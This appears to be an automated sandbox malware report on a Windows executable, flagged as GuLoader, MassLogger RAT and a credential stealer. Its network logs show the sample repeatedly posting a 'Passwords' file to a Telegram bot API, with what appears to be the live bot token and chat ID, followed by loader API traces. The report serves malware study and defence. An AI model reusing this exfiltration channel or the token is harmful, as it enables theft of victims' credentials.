2025-01-10 22:12:52 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44816,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547171,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50042	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:53 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34647c437859 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:53 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 36 34 37 63 34 33 37 38 35 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34647c437859Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:53 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:53 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44817,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547173,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	50044	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:55 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd348d28405116 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 38 64 32 38 34 30 35 31 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd348d28405116Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:55 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:55 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44818,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547175,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	50046	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:56 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34b0a4c9392c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 62 30 61 34 63 39 33 39 32 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34b0a4c9392cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:56 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:56 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44819,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547176,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	50048	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:13:01 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd319a08d3505f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:13:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 61 30 38 64 33 35 30 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd319a08d3505fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:13:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:13:01 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:13:01 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44820,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547181,"document":{"file_name":"U

Target ID:	0
Start time:	17:10:51
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\rXKfKM0T49.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rXKfKM0T49.exe"
Imagebase:	0x400000
File size:	1'034'264 bytes
MD5 hash:	948A8F01FCA4EECDDBCB1C20B26A0A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1814401893.0000000003E6F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:11:35
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\rXKfKM0T49.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rXKfKM0T49.exe"
Imagebase:	0x400000
File size:	1'034'264 bytes
MD5 hash:	948A8F01FCA4EECDDBCB1C20B26A0A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2649955801.00000000357BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.2624047215.00000000022BF000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20%
Total number of Nodes:	1599
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\rXKfKM0T49.exe,00420EE8,?,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

NSIS Error, xrefs: 00403567
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
Low, xrefs: 0040371B
.tmp, xrefs: 00403861
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
\Temp, xrefs: 004036FF
1033, xrefs: 00403749
Error launching installer, xrefs: 004037D0
TEMP, xrefs: 0040372D
~nsu, xrefs: 00403845
C:\Users\user\Desktop\rXKfKM0T49.exe, xrefs: 004038F8
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
TMP, xrefs: 00403735
SeShutdownPrivilege, xrefs: 0040396F

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\rXKfKM0T49.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-4259682330
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,?), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
N, xrefs: 00405057
, xrefs: 00405385

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 70091B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

